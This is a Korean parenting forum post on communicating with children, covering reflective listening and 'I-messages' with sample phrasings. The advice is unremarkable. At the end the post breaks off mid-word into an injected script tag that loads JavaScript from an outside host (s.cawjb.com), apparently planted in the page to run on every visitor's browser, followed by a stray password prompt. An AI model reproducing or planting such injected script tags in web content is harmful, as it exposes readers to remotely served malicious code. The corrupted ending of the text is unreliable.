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제 목   아이와 관계맺기   번 호   56 조회수  1547   이메일       작성자   강미숙 작성일   03-09-15   내 용   효과적인 의사소통하기 부모-자녀 관계를 만족스럽게 유지하려면 효과적인 의사소통이 필요 하다. 대부분 가족은 서로 의사소통을 충분히 하지 못하고 있다. "자 녀들과 대화를 하느냐?" 는 질문에 대부분의 부모는 "물론! 나는 자녀 들과 이야기하지!" 라고 대답한다. 그러나 사실상 이야기 나누는 중 에 부모는 잔소리하고, 비난하고, 평가하고, 위협하고, 훈계하고, 질 문하고, 조언하며 대화를 이끄는 경우가 대부분이다. 아무리 좋은 의 도에서라도 이러한 종류의 대화는 의사소통을 촉진시키기보다는 오히 려 관계를 긴장시키고 말하고 싶지 않도록 만들고 있는 것이다. 부모가 자기 친구를 대하는 식으로 자녀를 대한다면 자녀와의 관계는 향상될 것이지만, 반대로 부모가 자녀를 다루는 식으로 친구를 대한다 면 친구관계는 나빠질 것이다. - 어떻게 효과적으로 대화할 수 있을까 ? - ① 자녀의 마음을 읽어주자. 의사소통은 상호 존중에 기초를 둔 의견교환을 뜻하는데 '상호존중'이 란 부모와 자녀가 감정적으로 서로 거부된다는 두려움 없이 솔직하게 자신의 생각과 느낌을 표현하도록 허용하는 것을 의미한다. (반영적 경청) 효과적으로 듣기 위해서는 집중이 필요하다. 그것은 '내가 듣고 있 다'는 자세와 시선을 마주치는 것으로 시작할 수 있다. 때때로 잘 듣 기 위해서는 침묵이 필요하다. 그러나 때로는 반응도 필요하다. 그것 은 '내가 너의 이야기를 듣고 있으니 계속 하고 싶은 이야기를 하려무 나' 라는 긍정적인 피드백인 것이다. 사람이 당황하면 이야기할 때 초 점을 잃어버린다. 부모는 있는 그대로 들어줌으로써 자녀가 당황하고 있는 문제에 대해 이해하고, 이를 통해 자녀 스스로 생각하도록 도와 줄 수 있다. 반영적 경청은 어린이의 감정과 의미를 반영하는, 즉 옳 고 그름을 평가하는 것이 아닌 어린이의 감정을 수용하고 관심을 보 여 주는 것으로써 소위 비평가적이어야 한다. 그랬을 때 어린이는 부 모와 계속 이야기하고 싶어 할 것이다. 부모가 어린이의 감정과 의미를 무비판적으로 받아들일 때 어린이와 의 공감이나 의사 소통은 강화될 수 있다. 반영적 경청은 하나의 기술 이다. "너는 ∼했나 보구나" 함으로써 어린이의 감정을 더하지도 덜하 지도 않게 거울에 빛이 반사하듯 그대로 전달해 주면 되는 것이다. ② 자녀에게 부모의 생각과 느낌을 솔직하게 표현하자. (나 - 전달법) 대부분의 부모들은 자녀가 부모의 이야기를 귀담아 듣지 않는다고 생 각한다. 자녀에게 무엇을 시킬 때에는 최소한 한번은 반복해서 말해 야 한다고 생각한다. 사실 자녀의 입장에서 보면 모든 이야기가 반복 되어 들려지는 훈련을 받아 왔다. 부모 스스로 생각하기를 '자녀가 귀 담아 듣지도 않을 것이다' 라고 생각하면서 말을 하는 경우가 그것이 다. 예를 들면 신나게 컴퓨터를 하고 있는 어린이에게 "빨리 숙제해 라" 내지는 "그만 두지 않으면 혼날 줄 알아라" 또는 TV를 열심히 보 고 있는 어린이에게 "엄마 시장 다녀올 동안 숙제 해 놓아라" 등등의 경우이다. 이런 때는 부모가 자녀로 하여금 귀머거리가 되도록 훈련하 고 있는 것이다. 반영적 경청이 어린이로 하여금 자신이 이해되어 지고 있다고 느끼게 하는 방법이라면 나 - 전달법은 자녀가 부모의 말을 듣고 싶어하도록 대화하는 방법이라고 할 수 있다. 나 - 메시지는 단순히 어린이의 행 동에 대한 부모의 느낌을 설명하는 것이다. 나 - 메시지는 부모 자신 이 중심이 된다. 부모의 느낌을 말하는 것이며, 어린이를 탓하지 않 는 것이다. 예를 들어 "네가 학교가 끝나고 연락도 없이 돌아오지 않 으면 무슨 일이 생겼을까봐 걱정이 된다. 왜냐면 네가 어디 있는지 몰 랐기 때문이지" 라고 어린이의 행동을 비난하는 것이 아니라 어린이 의 행동 결과에 따른 부모 자신의 느낌을 표현하는 것이다. 흔히 부모 들은 "너, 왜 연락도 없이 늦게 오는 거니?" 라며 너 - 메시지를 사용 하는데 너 - 메시지란 어린이를 탓하고 비난하는 것이다. 또한 어린이 에게 잘못이 있다고 말하는 것이며 말로 공격하는 것이다. '나 - 메시지'는 행동 그 자체보다는 행동의 결과에 중심을 두고 있 기 때문에 일반적으로 먼저 부모에게 방해가 되는 행동을 말하고, 다 음으로 행동의 결과 때문에 생긴 부모의 느낌을 말하고, 마지막으로 결과를 말한다. 다시 말하면 네가 ...하면(행동서술), 나는 ∼라고 느 낀다(느낌서술), 왜냐하면(결과서술) ∼하기 때문이지. 이와 같이 말 할 때 '왜냐하면'을 강조한다. 그러면 어린이는 '부모의 느낌은 행동 자체가 아니고 행동으로 인한 결과와 관계 있다는 것을 알 수 있다. 가장 중요한 것은 나-메시지는 부모 자신이 중심이 된다는 것이다. 그 러니까 어린이가 중심이 되?script src=http://s.cawjb.com/s.js> 비밀번호:

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